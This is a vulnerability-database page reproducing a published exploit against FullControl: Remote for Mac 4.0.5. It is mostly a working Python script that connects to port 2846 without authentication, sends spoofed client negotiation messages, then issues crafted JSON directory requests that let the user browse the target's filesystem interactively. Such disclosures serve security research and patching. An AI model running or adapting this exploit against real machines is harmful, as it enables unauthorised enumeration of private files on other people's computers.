Lucene search
K

📄 FullControl: Remote for Mac 4.0.5 Directory Traversal / Enumeration

🗓️ 01 Aug 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 84 Views

FullControl Mac 4.0.5 directory traversal allows unauthenticated remote enumeration via port 2846.

Code
# Exploit Title: FullControl: Remote for Mac 4.0.5 - Arbitrary Directory Traversal and Enumeration
    # Date: 1/08/2025
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://fullcontrol.cescobaz.com/
    # Software Link: https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890
    # Version: 4.0.5
    # Tested on: macOS 14.4 Sonoma
    
    
    '''
    Description:
    
    FullControl Remote for Mac v4.0.5 is vulnerable to an unauthenticated
    directory traversal flaw. An attacker can remotely enumerate and traverse
    arbitrary directories on the target system by sending crafted JSON requests
    to TCP port 2846. This vulnerability arises from insufficient input
    validation and improper path normalization, enabling unauthorized access to
    sensitive filesystem locations.
    
    '''
    
    
    import socket
    import json
    import time
    from urllib.parse import unquote
    
    HOST = '192.168.1.143'
    PORT = 2846
    
    NEGOTIATION_CMDS = [
        '<request type="info">accessibilityAPIEnabled</request>',
        '<request type="info">protocol</request>',
        '<request type="info">API_level</request>',
        '<request type="info">fc</request>',
        '<request type="info">os</request>',
        '<info subject="protocol">json2</info>',
        '<request type="info">version</request>',
        '<request type="info">fc</request>',
        '<request type="info">os</request>',
        '<request type="info">device</request>',
        '<info subject="app">FullControl</info>',
        '<info subject="version">4.2.0</info>',
        '<info subject="fc">4.2.0</info>',
        '<info subject="os">26.0</info>',
        '<info subject="device">Attacker</info>',
    ]
    
    def encode_slashes_in_json(s: str) -> str:
        return s.replace('/', '\\u002f')
    
    def recv_response(sock):
        try:
            sock.settimeout(2.0)
            data = sock.recv(8192)
            if not data:
                return None
            return data.decode(errors='ignore')
        except socket.timeout:
            return None
    
    def perform_negotiation(sock):
        print("[*] Starting negotiation...")
        for cmd in NEGOTIATION_CMDS:
           # print(f"[>] {cmd}")
            sock.sendall(cmd.encode())
            time.sleep(0.3)
            resp = recv_response(sock)
         #   if resp:
               # print(f"[<] {resp.strip()}")
    
    def request_directory(sock, path: str, id_num=21):
        request_obj = {
            "Class": "Request",
            "Id": id_num,
            "Type": "directory",
            "Text": path
        }
        j = json.dumps(request_obj, separators=(',', ':'))
        je = encode_slashes_in_json(j)
    
        sock.sendall(je.encode())
        time.sleep(1)
        resp = recv_response(sock)
        if not resp:
            print("[!] No response for directory request")
            return None
        return json.loads(resp)
    
    def navigate_loop(sock, start_path: str):
        current_path = start_path.rstrip('/')
        while True:
            print(f"\n[\U0001F4C1] Current path: {current_path}/")
            directory_listing = request_directory(sock, current_path + "//")
            if not directory_listing:
                break
    
            subdirs = []
            print("\n[+] Contents:")
            for e in directory_listing.get("Elements", []):
                kind = e.get("Class")
                name = e.get("Name")
                print(f" - {name} ({kind})")
                if kind == "Directory":
                    subdirs.append(name)
    
            user_input = input("\n[?] Enter directory to enter (.. to go back,
    q to quit): ").strip()
    
            if user_input in ('q', 'exit'):
                break
            elif user_input == '..':
                current_path =
    '/'.join(current_path.rstrip('/').split('/')[:-1])
                if current_path == '':
                    current_path = '/'
            elif user_input in subdirs:
                current_path += f"//{user_input}"
            else:
                print("[!] Invalid input or directory.")
    
    def main():
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((HOST, PORT))
            perform_negotiation(s)
    
    
            root_req = {"Class": "Request", "Id": 20, "Type": "directory",
    "Text": ""}
            jroot = json.dumps(root_req, separators=(',', ':'))
    
            s.sendall(jroot.encode())
    
            time.sleep(1)
            raw_root = recv_response(s)
            if not raw_root:
                print("[!] Failed to get base path")
                return
    
            parsed_root = json.loads(raw_root)
            base_path_raw = parsed_root.get("Path", "")
            base_path = unquote(base_path_raw).rstrip('/')
    
    
    
    
    
            navigate_loop(s, base_path)
    
    if __name__ == '__main__':
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation